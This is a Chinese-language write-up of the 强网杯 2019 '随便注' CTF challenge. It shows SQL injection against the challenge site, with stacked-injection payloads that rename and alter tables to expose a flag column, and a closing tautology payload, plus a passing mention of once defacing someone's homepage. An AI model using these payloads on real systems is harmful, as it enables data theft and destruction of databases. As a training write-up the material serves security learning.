CTF [强网杯 2019]随便注 Writeup 堆叠注入

讲道理,最不虚的就是注入了。
CTF [强网杯 2019]随便注 Writeup 堆叠注入_第1张图片
随意加上单引号。
在这里插入图片描述
单引号闭合,尝试1' and 1=2 #
CTF [强网杯 2019]随便注 Writeup 堆叠注入_第2张图片
无回显,应该成功执行了,再来1=1确认下。
CTF [强网杯 2019]随便注 Writeup 堆叠注入_第3张图片
又有报错信息,想着直接上updatexml()
CTF [强网杯 2019]随便注 Writeup 堆叠注入_第4张图片
结果报错,又试了exp()extractvalue(),结果exp()到是能用,extractvalue()直接报无函数 。。。
不过有函数也没意义阿。因为select也被检测了,尝试了若干方法绕过后,放弃。。。
看来这题有别的思路,常规的几种不行,然后试了下堆叠注入。。。还真成了。
CTF [强网杯 2019]随便注 Writeup 堆叠注入_第5张图片
其实这里早就该想到的了,如果不是想考堆叠注入,那为啥要用var_dump()打印数据呢,正常肯定用mysqli_xxx处理语句了。

通过show tables可以看到表。
CTF [强网杯 2019]随便注 Writeup 堆叠注入_第6张图片
通过desc可以看到表结构,注意查纯数字的表名的时候,一定要加上重单符,即反引号。

desc `1919810931114514`

确定1919810931114514就是要查的表。
CTF [强网杯 2019]随便注 Writeup 堆叠注入_第7张图片
接下来就是怎么不用select拿到数据了。因为不会绕过就想起了原来上传一句话的时候,没有上传权限,就直接改人家的主页。。。
这次我直接把words表给删除,然后把1919810931114514改成words就好了。
CTF [强网杯 2019]随便注 Writeup 堆叠注入_第8张图片
居然忘了,这个也被干掉了,不过还好,还有一个rename。。。

1';rename table `words` to `xxx`;rename table `1919810931114514` to `words`%23

CTF [强网杯 2019]随便注 Writeup 堆叠注入_第9张图片
又发现字段不一样。。。

1';alter table  `words` change "flag" "id" varchar(100);%23

CTF [强网杯 2019]随便注 Writeup 堆叠注入_第10张图片
我擦,玩坏了,没这个id字段了,没法注入了。。。重开!!!

这次换个顺序,先把flag改成id,再换表名。。。

1';alter table  `1919810931114514` change "flag" "id" varchar(100);%23
1`; desc `1919810931114514`;%23

CTF [强网杯 2019]随便注 Writeup 堆叠注入_第11张图片
可算是改好了,再来改名

1';rename table `words` to `xxx`;rename table `1919810931114514` to `words`%23

然后再来读一次!!
CTF [强网杯 2019]随便注 Writeup 堆叠注入_第12张图片
卧槽,空白的,忘了,flag字段的内容不一定为1阿,惨了。。。

慌了一会,马上想到了万能密码,手动狗头。

1' or '1'='1

CTF [强网杯 2019]随便注 Writeup 堆叠注入_第13张图片
OKOK,刺激,要是真实环境,可没有重来的机会。。。

你可能感兴趣的:(#,BUUCTF,Writeup)